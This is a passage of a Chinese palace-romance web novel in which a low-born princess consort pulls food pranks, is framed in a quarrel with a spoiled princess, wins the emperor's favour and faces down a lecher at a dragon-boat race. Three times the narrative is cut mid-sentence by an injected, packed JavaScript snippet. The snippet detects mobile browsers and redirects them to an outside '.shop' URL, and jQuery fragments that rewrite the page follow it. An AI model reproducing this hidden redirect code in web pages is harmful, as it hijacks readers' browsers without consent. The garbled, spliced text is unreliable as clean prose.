“殿下,且歇一会儿,用点宵夜吧。昭明殿送来的莲子燕窝羹,说是王妃亲手炖的呢。” 宗铎本已揭开了碗盖,闻言立刻将盖子放了回去。 “不吃,倒掉。” 元仪捧起沉甸甸的盖碗,温言劝道:“好歹是王妃一片心意,倒掉未免可惜。殿下不要的话,便让人送去给孙姑姑吧?” 宗铎冷笑:“王妃做的东西,我劝你们也不要吃。谁知道里面下了什么料!” 元仪只得依言倒掉了那盅燕窝羹。 不过对着宝楹派过来的小内官如意,他还是很委婉地说道:“殿下感念王妃辛苦,不过,他夜里不吃东西,请王妃今后不必费心了。” 如意回到昭明殿给宝楹传话:“王妃,殿下心疼您夜里下厨辛苦,让您不用再做吃的送过去了。” 宝楹正跟小帘坐在桌边分食莲子燕窝羹,她炖了满满一大锅,反正王府的燕窝不要钱。 送去给宗铎,一是为了给他示好,二来也是找个由头炖东西给自己吃。所以能有什么辛苦的?一点也不辛苦。 宝楹赏了一碗燕窝羹给如意,很大方地说道:“没事!殿下爱吃的话,我天天给他炖!” 16. 淘气的宝楹 五月里榴花开欲燃,临近端午,为龙舟赛的筹备也到了如火如荼的地步。 宗铎成日不在王府,便是在,也多是在韫晖堂里跟手下人议事,宝楹想给他献殷勤都找不到机会。 不过,她也没闲着。 往常端午前夕,珍娘总是会备好糯米粽叶、调好的馅料,带着芳嫂她们在院子里包粽子。 珍娘手巧,会包元宝形、牛角形、马蹄形等等式样,不同的形状里又填入不同的馅料,豆沙、蜜枣、蛋黄、鲜肉……不一而足。 今年宝楹不在家过端午,但她决意要把施家的传统带进王府来。 她提前一天让厨房备好了糯米和馅料,又让人熬了一大锅绿豆汤,放了四只大冰鉴,发动昭明殿的大小丫鬟到庭前包粽子。 夏日炎炎,庭院里树荫清凉,又有冰镇的瓜果绿豆汤可以吃,众婢们都高兴坏了。 白露等四个大宫女对此却很是鄙夷:“王妃,我们又不是厨娘,犯不上干这活。” 说罢,转头对一旁兴致勃勃的丫鬟们说道:“都围在这里做什么,还不快去洒扫浇花,谁敢偷懒仔细我揭了她的皮!” 小丫鬟们平时都是白露在管着,闻言只得垂头丧气地往回走。 “慢着。”宝楹道,“今天所有人都给我包粽子。洒扫浇花的活给不包粽子的人干。” 白露一看,不包粽子的人不就她们四个吗? 她冷笑道:“王妃,我们是统管昭明殿衣食住行的,哪能干那些粗活?内殿外殿二三十个婢子,倘若不能各司其职,那岂不是全乱套了吗?” “乱套才好!”宝楹早就受够了这套论调,“我讨厌你们这些无处不在的规矩!明明大家可以高高兴兴一起包粽子,为什么总是要拿规矩出来压人!” 白露只是冷笑:“王妃不喜欢规矩,去跟殿下说,去跟皇上说!犯不着跟奴婢们过不去。” 宝楹说不过她,另辟蹊径道:“那就算是奴婢,也有放假的权利吧?今天我做主,给大伙儿都放一天假。愿意包粽子的就跟我一起包,不愿意的,随便你们做什么去,我都不勉强。” 众婢一听,顿时欢呼雀跃,瞬间淹没了白露等人的声音。 白露只得领着青霜三人回了屋,忿忿道:“且让她再嚣张两日,等端午我进宫给娘娘回话,让娘娘好好整治她!” 庭院里风清树影摇,宝楹正教丫鬟们如何将粽子包出不同的形状。 她性情活泼,没有半分架子,丫鬟们最初的敬畏很快就变成了亲近,围着宝楹叽叽喳喳地说笑不停。 很快日过正午,第一批送进厨房的粽子已经蒸了出来,粽叶翠绿,散着糯米清香。 宝楹喊来如意:“去打听一下殿下在不在府里?” 不多时,如意去而复返:“回王妃,殿下正在韫晖堂跟大人们谈事呢!” 宝楹心道:要是只给宗铎送粽子,让那些大人干看着,好像怪不像话的。便问道:“韫晖堂有几个人啊?” 如意挠挠头:“七八个吧,不外乎是穆先生、徐公子他们那些人。” “穆先生是谁?” “王妃不知道穆先生啊!”说起此人来,如意的眼睛亮晶晶的,“他是王府的首席幕僚,精通阴阳玄学之道。我们府上谁丢了什么东西,去求穆先生起一卦,马上就能找到呢!” 宝楹一听,暗忖道:这么厉害,那她的“凤命”,该不会也是这个穆先生算出来的吧? 虽说她对自己这项五十两月银的差事很满意,可是一想到那是用自己的姻缘换来的,而且还没问过她的意见,就忍不住对这个穆先生恼得牙痒痒。 她目光瞟到热气腾腾的粽子,顿时计上心头。 为了惩罚白露等人对她的不敬,宝楹特意为她们“定制”了几个粽子,里面下了能齁死人的盐巴,并用黄色的彩绳缠裹以示区分。 如今看来,让穆先生尝一尝她的盐巴粽也不冤。 宝楹嘴角弯起一抹坏笑,命人取来一个八角食盒,亲自装了七八个粽子进去,而后在最上面放了一个黄绳缠绕的粽子。 既然穆先生是首席幕僚,那想必他一定是第一个挑粽子的吧。 宝楹的脑瓜总是在恶作剧时转得特别快。 她又另取来一个红绳粽交给如意:“这个给殿下吃,我特意放了两个蛋黄的!” “是。”如意提了食盒,脚步轻快地走到韫晖堂,将宝楹的话如数转述给元仪。 书房里宗铎正跟亲信商议着过两日的龙舟赛。 皇帝将巡盐御史的钦差一职做了龙舟赛的彩头,而宗铎已经和北元的二王子木里结成联盟,正是用钱之际,龙舟赛的头名他势在必得,绝不容有半点闪失。 坐在下首第一把交椅的穆先生道:“老朽昨夜以巡盐御史问卜,得一凶卦,然九五变爻,凶局自解,反成大吉。正所谓是:风波虽在,却终有贵人持正,化险为夷。” 底下有人道:“先生不若把话说明白些,这贵人是谁?” 又有人道:“这还需问,咱们殿下上个月不是才娶了位凤命在临的王妃?” 能出入韫晖堂的都是宗铎的心腹亲信,对于他娶这位王妃的缘由,他们自是一清二楚。 施氏女天生凤命,以至于因为宁愿不跟徐家联姻也要迎娶她。 在场诸人,无一不对王妃的凤命心怀好奇。 紧随而至的龙舟赛便成了试金石,倘或王妃的凤命真有穆先生说得那么玄乎,想来巡盐御史的彩头应当是手到擒来。 说曹操曹操到,元仪提着食盒推门入内,朝里头的幕僚们施了一礼,含笑道:“殿下、诸位大人,如今已至饭点,王妃差人送来新蒸好的粽子给大人们尝尝鲜。” 众人闻言纷纷看向元仪手中的食盒。 龙禁卫左都统韩曜笑道:“了不得,未来的皇后娘娘蒸的粽子,快让我尝尝!” 屋里众人都笑起来,唯有宗铎面色冷然:“子箴,慎言。” 韩曜笑道:“左右这屋里又没外人。金銮殿上那个位置毋庸置疑,早晚是殿下的。还是说,殿下心中的皇后另有其人?” 说着,侧眸瞥了徐沛一眼。 徐沛不语,只是看着宗铎,等着他给徐家吃一颗定心丸。 宗铎淡淡道:“现在说这个为时尚早。” 坐在宗铎下首的穆先生捋须微笑。 这屋里的众人只知王妃天生凤命,然而对于这桩婚事的真正内情,恐怕只有他和宗铎两人知晓。 施氏女能不能当成皇后且先不提,徐氏女一定是没戏的。因为,当初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149198|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗铎就是不想处处受制于徐家,才让他在京中贵女中另找王妃人选。 穆先生找到两年前选秀的贵女名册,算遍了五品以上官员之女的八字,其中不乏与宗铎八字相和的,不过仅是“八字相和”的理由还不足以说服徐家。 直到他看见七品总捕之女施宝楹的八字,顿时惊为天人。 此女凤命在临,虽出身不显,将来所嫁之人却必定是社稷之主。哪怕宗铎不娶她,她也一定会嫁给其他宗室子弟,不如现在先将她收入麾下。 有了穆先生这番定论,宗铎名正言顺地拒了徐家的亲事,但还是不可避免地与徐阁老生了罅隙。 穆先生知道,要让徐家彻底放下芥蒂,必须让王妃的凤命早日发挥作用。 对端午的龙舟赛他很有信心,且不提王妃的凤命护持,单论宗铎出色的御下能力,这场比赛也输不了。 穆先生心情极好,含笑道:“王妃的粽子来得真是时候,老朽腹中饥饿,不知诸位如何?” 元仪闻言忙打开食盒盖子,先取出一只红绳粽子递到宗铎面前:“殿下,这是王妃特意交代给您的。” 宗铎瞟了眼那包得胖嘟嘟的粽子,接都不接:“我不吃。” 元仪见怪不怪,放下那只粽子,捧着食盒送到穆先生面前。 穆先生拿起最上面的粽子解绳剥叶,一边疑惑道:“王妃包的粽子,殿下怎么不尝尝?” 一旁的小江坏笑道:“殿下尝的已经够多了。” 恰巧元仪将食盒捧到小江面前,他忙摆了摆手:“多谢元公公,我近来肠胃不适,不好食用糯米。” “小江是大夫,怎会肠胃不适?”宗铎扬手将那只红绳粽子抛到小江面前,冷笑道,“不许剩。” 方才他已经注意到了,整个食盒里的粽子,唯有他的和穆先生手上的粽子以彩绳缠裹,不消说,他那一肚子坏水的王妃肯定在上面动了手脚。 因那鹿茸乌鸡汤之事,他没少被小江取笑,今儿正好治治这家伙。 至于穆先生手里的粽子,宗铎也没打算阻拦。 无论如何,那獠儿是穆先生招进来的,唯有让穆先生也吃点苦头,方可平息他心头的郁闷。 果不其然,穆先生吃了两口,突然脸色剧变,一张老脸皱成了菊花,抖着花白的胡子找茶盂。 元仪忙将茶盂奉上,穆先生吐掉口中粽子,大暑天里连喝了三杯热茶,方皱着脸道:“怎的这般咸!我这舌头都麻了!” 韩曜道:“怎么会?我尝着挺香的,里头的鲜肉肥而不腻,豆沙绵软香甜,比我们家厨子做的还好!” 余下的人纷纷点头,揶揄道:“穆先生,你怕不是年纪大了,味觉失真了!” 素来仙风道骨的穆先生此刻正满头大汗地喝着热茶,无暇与众人分辩。 宗铎看着他那滑稽的模样,唇角也不由泛起一丝淡笑。 唯有小江惶恐地小口抿食着手中的粽子,生怕也被王妃在里头加了料。 直到他被迫将整个粽子吃完,也没尝出什么不妥,回味无穷地抿了口茶水,连声附和道:“就是嘛!这粽子多好吃啊,里面还有两颗油汪汪的咸蛋黄呢!” 宗铎看着得意洋洋的小江,生平的预料头一次出了偏差,唇边的浅笑顿时僵住。 17. 被另眼相待的宝楹 端午当日,龙舟赛事在西苑太液池举办,届时四品以上官员的亲眷都可到西苑观赛。 宝楹自出嫁以来,除了赌气回娘家那次,还没有机会出过王府。一听说能到皇家御苑看比赛,她兴奋得两天没睡着。 红霞给她备了一套深蓝色暗云纹的王妃常服,宝楹嫌那衣裳不好看:“这颜色太暗沉了,我不想穿。” “那王妃想穿什么?” 宝楹自己打开衣橱,从里头琳琅满目的锦绣华服中,选了一件鹅黄色方领纱衫,搭上一条柳绿色洒金长裙。 她喜欢穿鲜艳明亮的衣裳,一身华彩配上她胜雪的肤色,瞬间压倒了满室的朝日光华。 小帘拍着手:“小姐真好看!” 红霞站在一旁撇着嘴笑了笑。 出了昭明殿,宗铎已经穿戴整齐候在门外。他一身蟒袍玉带,身姿挺拔如松,看上去格外清正端贵。 宝楹悄悄瞅了他一眼,这还是把话说开后两人头一回相见,宗铎脸上一如既往的沉静,目光将她从头到脚一扫,言简意赅道:“回去换身衣裳。” “为什么?” 宝楹不愿意,这是她精心搭配的装束。 宗铎道:“黄色冲了皇上的龙袍。” 宝楹只好回了屋里,换了件浅粉色绣百蝶纹的合领衫。 一走出来,宗铎只看了一眼,又道:“皇后娘娘不喜欢粉色。” 宝楹瞪了他一眼,撅着嘴回去换了一身橘色衫裙。 宗铎慢悠悠道:“太后娘娘不喜橘色。” “你!”宝楹跺了跺脚,“太后娘娘不是病着么,她又看不到!” “不管她看不看得到,身为臣子,你得有避忌的觉悟。” 宝楹磨了磨牙,满心不情愿地折回去换衣裳。 元仪在一旁道:“殿下何不把话一次说完?省得王妃一趟趟跑。” 宗铎淡笑道:“你不觉得她那气鼓鼓的样子……” 他忽然止住话音,心里泛起一丝纳罕:自己怎么会在这种小事上跟她争无谓的闲气? 过了半炷香,宝楹从里头出来,她这次换了一件浅绯色半臂,内搭海棠色金线窄襕裙。莲步轻移,衣袂飘动,上面的金线也跟着闪起细斓的微光,漂亮得让人挪不开眼。 宗铎眉心微蹙,道:“怎的穿这般鲜艳?” “当然是为了给龙禁卫喝彩打气呀!” 宝楹在他面前转了个圈,裙裾如红梅花瓣飞绽轻舞。 “怎么样,应该没有哪位娘娘讨厌红色了吧?” 宗铎看着她狡黠明亮的乌眸,唇角轻抿,转身道:“走吧。” 到了西苑,一路坐轿辇到万寿宫给皇帝请安。 宝楹东张西望,只见一路光浮宫阙,香绕瑶台。极目望去,只见御道拂朱,丹墀围翠,各种珍奇花木葳蕤芳菲,美不胜收。 到了万寿宫,她就得跟宗铎分开了。他到前殿去与群臣拜见皇帝,她到后殿去跟皇后请安。 宗铎叮嘱她:“皇后问话你就答,少出风头、少争闲气。乖乖地看比赛,明白没有?” 宝楹“嗯嗯”点头。她又不是第一次进宫了,宫里的规矩,她还能不懂嘛! 入了后殿,皇后还没来,不过几位亲王妃已经候在里头。 宝楹这会儿方见齐了她的妯娌们: 大皇子宗钿封韩王,娶妻钟氏; 二皇子宗钺封魏王,娶妻周氏; 四皇子宗铠封晋王,娶妻许氏; 五皇子宗铆封赵王,尚未娶妻。 按着序齿落座以后,宝楹的目光扫过三位王妃,她们年岁只比她稍长,却都穿着青蓝深翠等典雅肃重的颜色。 在场众人,唯有她穿一身亮眼的海棠红,难怪众人的目光都落在她身上。 “早听闻三弟妹美貌之名,如今一见,果然惊为天人。”二皇嫂魏王妃盈盈笑道,“单是这身鲜艳夺目的红色,可不是人人都能驾驭的。” “好看有什么用,春花易谢,以色侍人又能多长久?” 一个红裙少女立刻接口。 她也穿红,可是没宝楹穿得好看。很显然,魏王妃的话刺激到她了。 宝楹见那少女年纪跟她相仿,英秀的眉宇间难掩骄矜之气,想来就是大名鼎鼎的荣安郡主了。 荣安郡主是圣上胞弟康王的独女,皇帝没有女儿,因此对这个侄女恩宠有加,自小将她养在宫里。 如果说京城贵女是灿烂繁星,那荣安郡主就是众星捧着的那一轮傲月。就连孤陋寡闻的宝楹,在还未出阁时就听说过她的大名了。 久闻不如一见,这位郡主的脾气看起来也不小。 宝楹谨记着宗铎的嘱咐,决定不跟她计较。 毕竟,这位郡主说错了一点,她可不是以色侍人,她靠的是她的八字呀。朱颜辞镜花辞树,八字能陪她到入土。 宝楹没理会郡主的挖苦,自顾拈起一块花糕吃了起来。 可是,荣安郡主今天是铁了心要找她麻烦的。 原来那徐家二姑娘做过郡主的伴读,两人关系密切,所以荣安一直觉得是宝楹横插一脚,截胡了徐兰月的亲事。 加上今儿的撞衫之恨,若非顾忌她燕王妃的身份,荣安只怕要让人打她几个耳光了。 见宝楹对自己爱搭不理,还旁若无人地吃起了糕点,荣安脸上挂不住了:“我跟你说话呢,你没听到么?小门小户出来的就是没有教养!” 宝楹生平最讨厌别人说她爹娘不好,闻言抬起头道:“是谁没有教养?我是你嫂嫂吧,郡主跟我说话,不知道加敬辞吗?” 荣安见她还敢反驳,登时大怒,站起身便要走到她面前对峙。 一直在看热闹的魏王妃见状,朝坐在宝楹身边的晋王妃使了个眼色。 晋王宗铠一直唯胞兄魏王马首是瞻,因此晋王妃也对魏王妃百依百顺。 见她给自己使眼色,晋王妃会意,飞快地拿起宝楹的茶杯,借着袍袖的遮挡,将杯中茶水泼到宝楹面前的地砖上。 一旁韩王妃将两人的动作尽收眼底,秀眉微微一挑,选择了视若无睹。 而两位主角——宝楹和荣安,眼里只注意到对方,更没察觉晋王妃的小动作。 荣安气势汹汹地朝着宝楹走过来,孰料鞋底踩到磨得发亮的金砖上的茶水,脚下猛地一个打滑向前扑倒,堪堪用两只手撑着地板才不致让脸着地。 宝楹见她姿势滑稽地跪在自己面前,顿时乐得直笑:“郡主,让你喊我两声嫂嫂就行了,干嘛要行叩拜大礼。” 荣安又羞又气,在宫婢的搀扶下站起身来,低头看了眼地上的茶水,怒不可遏道:“贱人,你敢害我!” 宝楹这才注意到地上洒了一滩茶水,她嘀咕道:“关我什么事,又不是我倒的。” “不是你还有谁?”荣安已经被愤怒冲昏了头脑。 魏王妃适时开口:“这好办,看看谁的茶杯空了,那茶水就是谁泼的。” 说着,优雅地揭开了自己的茶碗盖子,里头清澄的茶水冒着丝丝蕴蕴的香气。 荣安一一望过去,唯有宝楹的茶碗只剩见底的茶叶。 “你还有什么好说的?”她恨恨瞪着宝楹。 宝楹也惊呆了,她方才吃花糕时是喝了两口茶,可不至于全喝完了吧?她挠挠头,怎么也想不明白到底是怎么回事。 荣安见她不说话,只当她是默认,上来便扬手要打,可巴掌还没落下,又听得外头太监唱喏:“皇上驾到!” 众人忙站起身来,哗啦啦地跪迎圣驾。 一身玄黄龙袍的皇帝携着皇后徐徐迈步走入殿中,见一众内眷垂首跪迎,抬手道:“都平身。荣安,怎么回事,在殿外就听到你吵吵嚷嚷的声音。” 荣安郡主率先站起来,几步走到皇帝身边摇着他的胳膊:“皇伯伯!你要给我做主,我被人欺负了!” “哦?”皇帝纳罕地挑起眉,目光扫过下首的儿媳们,“是谁敢欺负朕的荣安哪?” 宝楹吓得瑟瑟发抖。听皇帝对郡主那宠溺的语气,她有理都要变没理,这下只怕在劫难逃了。 她真的不知道事情怎么会变成这样,为什么郡主好端端的开始找她的茬,为什么地上会突然出现一滩茶水,为什么郡主踩上去会滑倒,最重要的是,为什么空掉的是她的茶杯啊! 宝楹简直欲哭无泪。 “还不就是她!” 荣安朝着她一指,宝楹立刻感到两道威压的视线望过来。 她将头垂得更低了,试图用这种方法让皇帝忽视她的存在。显然这掩耳盗铃的法子并没有用,她听到皇帝开口道:“是三郎媳妇?你上前来。” 声音淡淡的,不辨喜怒。 然而宝楹已经从宗铎身上总结出经验来了,不辨喜怒就是怒。 她哆哆嗦嗦地站出来,垂着脑袋替自己分辩:“皇……父皇,我没有欺负郡主。” 皇帝好一会儿没说话,那两道压得人喘不过气的视线却一直停在她脸上。 宝楹只觉度日如年,那些断头台上等斩首的犯人也不外如是了吧。 “抬起头来。”皇帝的声音听起来有点抖震。 宝楹只得战战兢兢地抬起下巴,眼皮却是垂得跟闭上没两样了,生怕皇帝治她一个不敬之罪。 “你叫什么名字?” 宝楹有点不明所以,强忍着抬手拭去额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149199|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间冷汗的冲动,小心翼翼地回答道:“回父皇,儿臣施氏,名讳宝楹。” “施宝楹……”皇帝轻轻念了两回她的名字,忽然道,“你娘叫什么名字?” 呃啊?问她娘干什么,该不会想治她娘教女无方之罪吧? 宝楹这下是彻底糊涂了,忍不住抬眼飞快地觑了皇帝一眼。 那是个极具威仪的中年男子,浓眉深目,英俊的面庞经过岁月的沉淀锋芒更甚,只是望着她的那双眼眸里有种难以言说的震动怅惘,与他那身威仪气度简直格格不入。 皇帝身边的大太监道:“燕王妃,陛下问您话呢。” 宝楹回过神来,忙道:“我娘叫珍娘,卫珍娘。礼部主事卫琏是我舅舅。” 这个时候,她还不忘在天子面前提一嘴舅舅的名字。 皇帝诧异地微微皱起浓眉,口中将珍娘的名讳重复了一番,再抬眸时眼中的怅惘已然消失不见,温和地看着宝楹。 “方才摔到哪儿了,没事吧?” 宝楹呆住了。 皇上对她的态度怎么这么和蔼?而且,摔跤的人也不是她啊! 不只是她,殿里的其他人也纷纷面面相觑。 皇后若有所思地看了宝楹一眼。 荣安在一旁气得跳脚:“皇伯伯,摔跤的人是我啊!” “喔。”皇帝一脸如梦初醒,“那你摔跤,关你嫂嫂什么事?” 荣安叫道:“是她故意把水泼在地上,才害我摔倒的呀!” 皇帝瞥了她一眼,语气不似方才那般宠溺:“燕王妃是你的嫂嫂,怎么可能会泼水害你?不过是宫人没打扫干净罢了。传谕下去,今日打扫后殿的宫人杖责三十。荣安,可出气了?” 荣安虽刁蛮任性,却不是那等没有眼色之人。 皇帝都这么说了,她自然不敢再揪着这事不放,却还要在安全范围内表达自己的不满:“不够,要杖责五十!” “好,五十就五十。”皇帝还是很宠她的。 荣安得了皇帝给的台阶,纵使心里再不高兴,也只得吃了这个哑巴亏。 宝楹却瞪大了眼睛。 她去衙门看过人家行刑,五十大板打下去,命都要去掉半条的! “呃,那个……皇、父皇,五十杖,会打死人的。” 虽明知她不该开这个口,可是,那是五十杖啊,因为她和郡主的一场口角,就有一个倒霉宫人因此挨打甚至丧命,让宝楹当作什么都没发生,她办不到。 几位王妃震惊地对视了一番,殿内鸦雀无声。 在她们看来,燕王妃已经不是不识好歹了,她简直就是富贵日子过到头了。 短短一句话,既踢飞了皇帝给郡主的台阶,还有控诉皇帝残暴之嫌。 让她们故意找茬都想不出这种话。 皇帝也沉默了一瞬。 宝楹见大家都不说话,紧张地在裙摆上搓了搓手心的冷汗,硬着头皮对荣安道:“郡主,你打我吧。我知道,打我比打宫人更能让你出气。你放心,我不会还手的,但是你也别打太多下。” 荣安当然想打她了,可是当着皇帝的面,她还没有那么傻。她转头看向皇帝,等着皇伯伯发落这个不知好歹的破落户。 皇帝却哈哈大笑起来。 “可爱,真是可爱……既然你都开口求情了,那朕就免了他们的杖责,回头叫他们过来跟你谢恩。” 他又转头看了眼气鼓鼓的荣安,“你也别恼。回头朕叫人开了库房,年初的贡品,任你挑三件回去赏玩,嗯?” 荣安闻言顿时转怒为喜。 那可是国库里的贡品啊,随便挑一件都能作普通人家的传家宝了。还任她挑三件,比打宫人五十大板来得实在多了。 “多谢皇伯伯!” 荣安喜笑颜开地下了台阶,不过,心里还是不打算原谅那该死的燕王妃。 宝楹不知道贡品任选的含金量,不过听说宫人不必挨打,她也很高兴:“多谢皇上开恩!” “还叫皇上?” “父皇!” 宝楹不好意思地抿了抿嘴。 皇帝乐呵呵地对身后的大太监道:“高延,你吩咐下去,开库房的时候,把去岁安南进贡的那两株珊瑚树赐给燕王妃,当是朕给她压压惊。” 方才看热闹的几位王妃瞠目结舌。 要知道,几位皇子里头,独独燕王最不受皇上待见;几位王妃里头,独独燕王妃的出身最差劲。 她们都看不起燕王妃,想叫她倒霉,最好惹得皇帝一顿驳斥,从此燕王府失去圣恩,回头夫君还要夸她们办事得力。 可是,为什么皇帝不仅不罚她,还对她青眼有加啊! 18. 登徒子 辰时一过,外头“咚”的一声锣响,宣告平嘉十九年端午的龙舟赛正式开始。 龙舟赛在太液池举办,京师二十四大衙门府卫均派出龙舟队伍,六队一组,每组前三甲晋级,共比三轮。 太液池东岸搭起二十四座彩棚,供各司衙门充作整备营地。西岸错落的重檐水殿则供官眷们观赛。 至于皇室宗亲,另有更好的观景去处。 飞仙阁矗立在比赛河段的中间,此处视野绝佳,可将起点与终点尽收眼底。遥相望去,只见广阔的池面烟波飘渺,已有数艘丈许龙舟浮在水面。 视野虽好,宝楹却觉得不大自在,有了万寿宫的风波在前,她总感觉众人看她的眼神怪怪的,尤其荣安郡主,简直像要把她生吞活剥了似的。 她干脆借口更衣溜了下去。 楼下曲折的重檐水殿聚满了官家女眷,夫人贵女们手执纨扇,矜持地讨论着哪支队伍能夺魁。 此刻第一轮的比赛已经开始,太液池畔呼声喧天,热闹至极。 宝楹在一众衣香鬓影中穿行而过,间或瞅几眼如火如荼的比赛。好不容易给自己一处还不错的观景平台,第一组的龙舟已经纷纷冲了线。 她忙找人打听,得知头名果然是龙禁卫,顿时与有荣焉,高兴地跑到对岸休整的营地去找宗铎讨赏。 龙禁卫里的子弟多是出身勋贵世家,因此比赛结束后,龙禁卫的营地里珠围翠绕,不乏官眷以给自家兄弟送水之名,过来偷偷相看亲事的。 宝楹夹杂在其中,也不算突兀。 她正东张西望地寻找宗铎的身影,偶尔扫到健美英俊的青年,免不了停下来多看两眼。正走马观花呢,忽然一片叶子飞过来打在她的步摇上。 宝楹疑惑地回头望去,只见一个身材高大的年轻男子倚靠在树下,四目相对,他冲她招了招手。 她不明所以地走过去:“你在叫我吗?” 那男人打量了她两眼,肆无忌惮地笑道:“小美人,你眼生得很哪。你是谁家的媳妇?” “我是你太爷爷家的!” 宝楹听他话音轻佻,没好气地瞪他一眼,转身就要走。 “慢着。”那人又叫住她,不紧不慢地笑道,“你来这里,不就是想看男人么?你看我怎么样?” 说着,一把打开身上的袍子,露出精壮赤祼的上半身来。 宝楹“啊”地尖叫一声,忙不迭地捂住眼睛掉头就跑。 没跑出两步,迎面撞到一个人身上,那人的胸膛坚实得像堵墙似的,撞得她头有些发晕。 还没反应过来,那人的手一环,将她虚虚拢在了怀里。 宝楹欲哭无泪,今天出门一定没看黄历,先是碰到找茬的郡主,而后接连遇到两个登徒子。 正要撞开那拢着她的男人,忽然听得头顶响起一道沉润的嗓音:“季平,把你的衣裳穿上。” 是宗铎! 宝楹惊喜地抬起头,那流畅利落的下颌线和高挺的鼻梁骨,可不就是他! 她立刻挺直了腰板,气势汹汹地朝树下那男人一指:“殿下,他调戏我!” 宗铎脸色有些不好,抬手遮住了她的眼睛,直到那人穿好了衣裳才放下来。 那名唤季平的男子讪讪走上前,朝她揖了一礼:“不知道是王妃,多有冒犯,还请见谅。” 原来那人名叫柳季平,是承恩公的第四子。他平时颇有些风流名声,最喜欢勾搭别人家的媳妇。 方才在树下一见到宝楹,观花无数的柳季平立刻被她勾去了魂。 看她貌美又面生,衣着鲜艳活泼,想来是哪个门第不高的郎将新娶的小媳妇,因此调戏起她来肆无忌惮。 没想到这回失手了,调戏到了燕王殿下头上。 不过,他放荡跋扈惯了,仗着父辈荫蔽,哪怕面对燕王也并不是很惶恐,因此道歉得有些敷衍。 宝楹当然不肯接受他的道歉:“你这说的什么话,难道不是王妃,就活该被你调戏么?” 柳季平嘿嘿笑道:“当然不是这个意思。只是一个巴掌拍不响,若非王妃方才一路走来,目不转睛地盯着男人看,在下也不至于会错了意思。” “谁盯着男人看了!” 宝楹连忙矢口否认,心虚地抬眸瞟了宗铎一眼。 转念一想,就算是看男人她也不理亏呀——反正宗铎自己说了,她只是他请回去的吉祥物,又不是他真的妻子。 她立刻反驳柳季平:“看男人又不犯法,倒是你,大靖律明明白白地写了,凡以言语相戏妇女者,杖三十!” 柳季平有恃无恐:“那王妃去衙门告我好了。” 宝楹磨了磨牙,不愿意让他太痛快:“就算你不用被杖责,那也不过是靠着家里的权势,而不是你自己的本事!” 柳季平笑得很无赖:“投胎就是我的本事。” “你……”宝楹说不过他了,只好伸手扯扯宗铎的衣袖,“殿下,你快看他呀!” 宗铎冷冷看着柳季平。 此人出身显赫,但为人龌龊,宗铎很看不上他。柳季平在龙禁卫中得不到重用,一来二去,跟宗铆勾搭上了。 这次比赛,柳季平得了宗铆的授意,要在决赛中捣乱,让龙禁卫输给神机营。事成之后,宗铆便提拔他到神机营当副指挥使。 宗铎一早知道他们的阴谋,却一直隐而不发,就是等着决赛之时釜底抽薪,把柳季平踢出去,好打宗铆一个措手不及。 正发愁找个什么借口呢,这不长眼的东西便调戏到了他的王妃头上来,正好给了他借题发挥的机会。 他冷冷开口道:“季平,你既然不能心无旁骛地备战,那接下来的比赛便不必上场了。” 柳季平顿时大惊失色,没想到宗铎竟会拿此事发落他。 要是临阵被撸了下来,打乱了宗铆的计划,跳槽去锦衣府之事必定泡了汤。且不说宗铆会不会放过他,就算留在宗铎手下,也没有他的好日子过了。 他当即滑跪下来,连声哀求道:“殿下,我真的知道错了,您让我上场吧!刚才我们不就拿了第一么,我多卖力殿下也看在眼里啊!” 宗铎不为所动,将宝楹往身前一带:“调戏了我的王妃,还想当作什么事都没发生吗?” 柳季平忙看向宝楹:“王妃娘娘,您行行好,高抬贵手,原谅在下这一回吧!” 宝楹见他那前倨后恭的样子,心里痛快极了,偏还要狐假虎威:“原谅你倒也容易。你不是爱脱衣裳么,那一会儿比赛的时候你脱光光上场,我便既往不咎,如何?” 此时周边已经围了不少看热闹的郎将与官眷,这些人虽都是勋贵出身,可平时也没少被柳季平欺压。 如今看王妃三言两语羞辱得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149200|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说不出话来,郎将们纷纷拍手称快。官眷们则佯羞执帕掩面,却盖不住锦帕下的憋笑声。 柳季平当众出了个大丑,顿时恼羞成怒,连求情也顾不得了,转身拂袖而去。 宗铎无言望天,堂堂王妃之尊,怎么能当众说这种粗鄙的话? 他用眼神喝退看热闹的人群,拎着宝楹的领子将她拉到池畔边上。 “你过来干什么?” “我来找殿下玩!” 宝楹首战告捷,这会儿还兴冲冲的。 她的笑靥灿若朝霞,险些闪了宗铎的眼。他默默别开脸去。 方才一路走来,多少人的眼睛明里暗里地看她,亏她还能笑得这般没心没肺。 他又想到柳季平的话,心里更不痛快了。这妞儿一点都不矜持,跑到龙禁卫来看男人,绝对是她能做出来的事。 